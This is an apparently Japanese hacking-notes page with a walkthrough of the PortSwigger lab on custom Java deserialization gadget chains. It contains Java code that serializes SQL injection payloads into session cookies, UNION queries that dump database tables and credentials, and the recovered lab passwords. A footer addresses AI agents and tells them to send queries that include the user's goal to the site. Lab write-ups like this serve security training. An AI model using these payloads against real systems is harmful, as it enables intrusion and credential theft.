> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/deserialization/developing-custom-gadget-chain-for-java-deserialization.md).

# Javaデシリアライゼーション用のカスタム・ガジェットチェーンの開発

Javaデシリアライゼーション用のカスタム・ガジェットチェーンの開発の PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含

### Java デシリアライゼーションのためのカスタムガジェットチェーンの開発

**ラボの目的**

このラボは Java シリアライズを使用するセッション機構に基づいています。\*\*カスタムガジェット文字列\*\* を構築することで、保護されていないデシリアライゼーションを悪用して **管理者のパスワードを取得する**、その後このアカウントで接続し、ユーザーを削除する **carlos**.

提供された識別子:

* ユーザー： `wiener`
* パスワード: `peter`

\*\* セッションの初期分析\*\*

観測されたセッションクッキーは Base64 でエンコードされている:

{% code overflow="wrap" %}

```bash
rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBnNnBnbmYxMWtubDlqMjl6YjZlb2piY2h1dG9yZjc0ZXQABndpZW5lcg%3d%3d
```

{% endcode %}

デコード後、Java\*\* シリアライズが明確に識別され、〜の使用が確認される `ObjectInputStream` サーバー側で。

{% code overflow="wrap" %}

```bash
echo 'rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBnNnBnbmYxMWtubDlqMjl6YjZlb2piY2h1dG9yZjc0ZXQABndpZW5lcg==' | base64 -d ; echo
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2710de988f6870abfd05f1be4d59fac215b4727%2F%7B3BB70C68-B6D2-489B-9D37-53EC2827CBF7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**ソースコードへのアクセス**

Java ソースコードのバックアップへのリンクを示す HTML コメント:

```html
<!-- <a href=/backup/AccessTokenUser.java>サンプルユーザー</a> -->
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0219ad0f1861ad0bce711e792f7b5d844320d72%2F%7B67D1AF42-0D8B-42E8-96E2-2E84CD5DD832%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

次の `AccessTokenUser.java` ファイル：

* Serializable クラス
* 2つの属性: `username` および `accessToken`
* 直接悪用できる危険な挙動はない

```java
package data.session.token;

import java.io.Serializable;

public class AccessTokenUser implements Serializable
{
    private final String username;
    private final String accessToken;

    public AccessTokenUser(String username, String accessToken)
    {
        this.username = username;
        this.accessToken = accessToken;
    }

    public String getUsername()
    {
        return username;
    }

    public String getAccessToken()
    {
        return accessToken;
    }
}
```

その `/backup` フォルダ内で、別のファイルが注目を集める: **`ProductTemplate.java`**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a9ec15f82bf19681bf756c45bc99e84a3e9ec9a%2F%7B7C78FAF8-DEEF-446F-BBD2-15410B7ACBAF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**脆弱なクラス: ProductTemplate**

その `ProductTemplate` クラスは `Serializable` を実装し、 `readObject()` メソッドを再定義する。

重要ポイント:

* その `readObject()` このメソッドはデシリアライズ時に自動的に実行される
* SQL クエリは `String.format`
* その `id` を使って動的に構築される。パラメータは検証なしにクエリへ直接挿入される

```java
String sql = String.format(
  "SELECT * FROM products WHERE id = '%s' LIMIT 1", id
);
```

```java
package data.productcatalog;

import common.db.JdbcConnectionBuilder;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

public class ProductTemplate implements Serializable
{
    static final long serialVersionUID = 1L;

    private final String id;
    private transient Product product;

    public ProductTemplate(String id)
    {
        this.id = id;
    }

    private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
    {
        inputStream.defaultReadObject();

        JdbcConnectionBuilder connectionBuilder = JdbcConnectionBuilder.from(
                "org.postgresql.Driver",
                "postgresql",
                "localhost",
                5432,
                "postgres",
                "postgres",
                "password"
        ).withAutoCommit();
        try
        {
            Connection connect = connectionBuilder.connect(30);
            String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
            Statement statement = connect.createStatement();
            ResultSet resultSet = statement.executeQuery(sql);
            if (!resultSet.next())
            {
                return;
            }
            product = Product.from(resultSet);
        }
        catch (SQLException e)
        {
            throw new IOException(e);
        }
    }

    public String getId()
    {
        return id;
    }

    public Product getProduct()
    {
        return product;
    }
}

```

**Java ペイロードの構築**

有効なシリアライズ済みオブジェクトを生成するために、ローカルの Java プロジェクトを作成する:

最小構成:

```bash
data/
└── productcatalog/
    ├── ProductTemplate.java
    └── Product.java
Main.java
```

クラスは意図的に単純化され、 **シリアライズ**のみを許可するようにしてある。

```java
import data.productcatalog.ProductTemplate;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

class Main {
    public static void main(String[] args) throws Exception {
        ProductTemplate originalObject = new ProductTemplate("your-payload-here");

        String serializedObject = serialize(originalObject);

        System.out.println("シリアライズされたオブジェクト: " + serializedObject);

        ProductTemplate deserializedObject = deserialize(serializedObject);

        System.out.println("デシリアライズされたオブジェクト ID: " + deserializedObject.getId());
    }

    private static String serialize(Serializable obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
        try (ObjectOutputStream out = new ObjectOutputStream(baos)) {
            out.writeObject(obj);
        }
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    private static <T> T deserialize(String base64SerializedObj) throws Exception {
        try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) {
            @SuppressWarnings("unchecked")
            T obj = (T) in.readObject();
            return obj;
        }
    }
}
```

**悪意のある cookie の生成**

〜では `Main.java`、 `ProductTemplate` オブジェクトには、制御された値が設定される `id`、その後シリアライズされ、Base64 でエンコードされる。

```java
// シリアライズには不要なため、ProductTemplate からすべてのロジックを削除

package data.productcatalog;

import java.io.Serializable;

public class ProductTemplate implements Serializable
{
    static final long serialVersionUID = 1L;

    private final String id;
    private transient Product product;

    public ProductTemplate(String id)
    {
        this.id = id;
    }

    public String getId() {
        return id;
    }
}
```

```bash
nvim data/productcatalog/Product.java
```

```java
// このクラスは、ProductTemplate を正しくコンパイルできるように追加しただけです

package data.productcatalog;
class Product {}
```

単純なアポストロフィでの最初のテスト:

```java
        ProductTemplate originalObject = new ProductTemplate("'");
```

```java
import data.productcatalog.ProductTemplate;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

class Main {
    public static void main(String[] args) throws Exception {
        ProductTemplate originalObject = new ProductTemplate("'");

        String serializedObject = serialize(originalObject);

        System.out.println("シリアライズされたオブジェクト: " + serializedObject);

        ProductTemplate deserializedObject = deserialize(serializedObject);

        System.out.println("デシリアライズされたオブジェクト ID: " + deserializedObject.getId());
    }

    private static String serialize(Serializable obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
        try (ObjectOutputStream out = new ObjectOutputStream(baos)) {
            out.writeObject(obj);
        }
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    private static <T> T deserialize(String base64SerializedObj) throws Exception {
        try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) {
            @SuppressWarnings("unchecked")
            T obj = (T) in.readObject();
            return obj;
        }
    }
}
```

サーバーは SQL エラーを返し、インジェクションを確認できる。

```bash
javac Main.java
java Main
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-295073ae28ae1e31c550829da4c2d81d2a1111fa%2F%7BC0482538-594F-4D5D-8682-8FA1968E79A6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```http
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAASc=
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5643d57734dbef927c7a7e76edb945631f77b80e%2F%7BEC9B7599-4C6F-458F-BF7E-036BF4B39C31%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**SQL インジェクションの悪用**

1. **列数の特定**/ → 8 列を特定

```java
        ProductTemplate originalObject = new ProductTemplate("' order by 8-- -");
```

```
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAECcgb3JkZXIgYnkgOC0tIC0=
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8afb8539e192b7115bc4a3b7c51d9eef690325c4%2F%7B078E73EB-5471-4D8E-94A1-1F3A3825C5BA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**UNION SELECT テスト**/ → 4 列目が使用可能

{% code overflow="wrap" %}

```bash
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - ";
```

{% endcode %}

```
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAOicgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLE5VTEwsTlVMTCxOVUxMLE5VTEwsTlVMTC0tIC0
```

* **テーブルの一覧**
* 特定されたテーブル: `users`

{% code overflow="wrap" %}

```java
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(table_name as numeric),NULL,NULL,NULL,NULL from information_schema.tables-- -");
```

{% endcode %}

```
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAcCcgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLGNhc3QodGFibGVfbmFtZSBhcyBudW1lcmljKSxOVUxMLE5VTEwsTlVMTCxOVUxMIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcy0tIC0=
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5191699e1c618d8f4d29bee9b05d3af853e22f26%2F%7B652C4F25-7706-4BD5-BF60-37C9A7190D4B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```java
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(table_name, ',') as numeric),NULL,NULL,NULL,NULL FROM information_schema.tables-- -");
```

{% endcode %}

```
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAfScgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLChzdHJpbmdfYWdnKHRhYmxlX25hbWUsICcsJykgYXMgbnVtZXJpYyksTlVMTCxOVUxMLE5VTEwsTlVMTCBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMtLSAt
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cd335a444698a9b4b3b34f9b4403349df4a717c%2F%7B36C106EC-2CC6-49E1-9C17-6412D5AEDCE2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**列の列挙**

* `username`
* `パスワード`
* `email`

{% code overflow="wrap" %}

```java
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(column_name, ',') as numeric),NULL,NULL,NULL,NULL FROM information_schema.columns where table_name='users'-- -");
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1cf0eda9894cf08a4c243a8b62ac953e5d70328c%2F%7BFB0087E5-5892-4F80-9AD5-7509DA31B49E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. **認証情報の抽出**

{% code overflow="wrap" %}

```java
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(username||':'||password, ',') as numeric),NULL,NULL,NULL,NULL FROM users-- -");
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-32592823609540b1f764e3d315685abf1b19b606%2F%7B87BE7D28-25C0-4029-B906-E8B1254C14FC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

シリアライズされたオブジェクトに注入する最終ペイロード:

```java
import data.productcatalog.ProductTemplate;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

class Main {
    public static void main(String[] args) throws Exception {
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(username||':'||password, ',') as numeric),NULL,NULL,NULL,NULL FROM
users-- -");

        String serializedObject = serialize(originalObject);

        System.out.println("シリアライズされたオブジェクト: " + serializedObject);

        ProductTemplate deserializedObject = deserialize(serializedObject);

        System.out.println("デシリアライズされたオブジェクト ID: " + deserializedObject.getId());
    }

    private static String serialize(Serializable obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
        try (ObjectOutputStream out = new ObjectOutputStream(baos)) {
            out.writeObject(obj);
        }
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    private static <T> T deserialize(String base64SerializedObj) throws Exception {
        try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) {
            @SuppressWarnings("unchecked")
            T obj = (T) in.readObject();
            return obj;
        }
    }
}
```

**達成された結果**

シリアライズされた cookie を送信すると、サーバー応答に認証情報が表示される:

```wit
administrator:sa47nyh8ebw4q0h7dvhn
wiener:peter
carlos:ig1e9avhmums5iac8rwa
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/deserialization/developing-custom-gadget-chain-for-java-deserialization.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
